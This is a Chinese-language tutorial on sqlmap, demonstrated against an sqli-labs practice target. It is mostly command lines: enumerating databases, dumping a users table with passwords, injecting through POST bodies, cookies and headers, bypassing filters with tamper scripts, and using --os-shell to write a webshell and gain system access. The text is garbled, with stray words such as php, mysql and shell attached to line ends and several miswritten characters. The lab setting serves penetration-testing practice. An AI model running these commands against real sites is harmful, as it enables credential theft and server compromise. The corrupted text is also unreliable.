SQLMAP常见用法

须要安装python2的环境php

使用方法:python

用最基础的get型注入开始mysql

一、当咱们发现注入点的时候,web

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1"sql

二、查看全部的数据库shell

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dbs数据库

三、查看当前使用的数据库cookie

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --current-dbless

四、发现使用的是security数据库,接下来对此数据库进行查询post

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --tables -D "security"

五、查出全部表之后,对users表的列名进行查询

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --columns -T "users" -D "security"

六、users表中的列名已经知道了,能够直接查出全部数据

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dump -C "id,username,password" -T "users" -D "security"

在“用户”-》“.sqlmap”-》“output”可看到查询结果

一、get请求

python2 sqlmap.py -u "urls" --dbms=mysql --batch --level 3 --risk 3

--dbms=mysql 指定数据库为mysql

--batch 不用点击,一路自动默认

--level 3 level指的是payload的强度,分为5挡,一般使用3级以上会有更多的payload

--risk 3 risk指的是风险等级,通常有3挡,主要也是跟攻击的强度有关

二、post请求

第一种:python2 sqlmap.py -u "urls" --data="user=admin&pass=pass"

以sqli-lab 11关为例:

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-11/index.php" --data="uname=admin&passwd=admin" --dbms=mysql --batch

第二种:将post数据包抓下来后存放到sqlmap的工做目录下,命名为"1.txt"

python2 sqlmap.py -r "1.txt"

以sqli-lab 11关为例:

python2 sqlmap.py -r "1.txt" --dbms=mysql --batch

三、http头的注入

http头注入就要用到--level 3,头注入的要领就是提早声明头部信息。

cookie:

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-20/index.php" --cookie="uname=admin" --level 3 --dbms=mysql --batch

这里的--cookie只是设置我这个sqlmap脚本去请求的cookie值,只有加了--level 3以后才会对cookie地方进行注入

referer,user-agent其余的http:

原理和用法都跟cookie相同,参数不一样而已,--referer= ,--user-agent=

最省力的方式就是讲要注入的数据包抓包存放到sqlmap工做文件夹内,在要注入的地方后面加上*号,而后再使用-r像post注入同样的用法

四、tamper使用

tamper是sqlmap中内置的一些绕过防御过滤的一些字符转换脚本

python2 sqlmap.py -u "urls" --tamper=""

tamper的路径在\sqlmap\tamper下。tamper是死的,人是活的,要根据实际状况灵活应用。

五、写入webshell

当发现注入点,而且注入点可写的状况下

以less-1为例:

一、获取注入点 :

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --batch

二、查看当前用户:

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --current-user

三、确认当前用户是否DBA(数据库管理员)权限:

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --is-dba

四、确认是DBA后,开始执行木马写入:

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --os-shell

接下来会选择脚本语言以及写入的路径,选择好后就能够直接得到系统权限。

相关文章
相关标签/搜索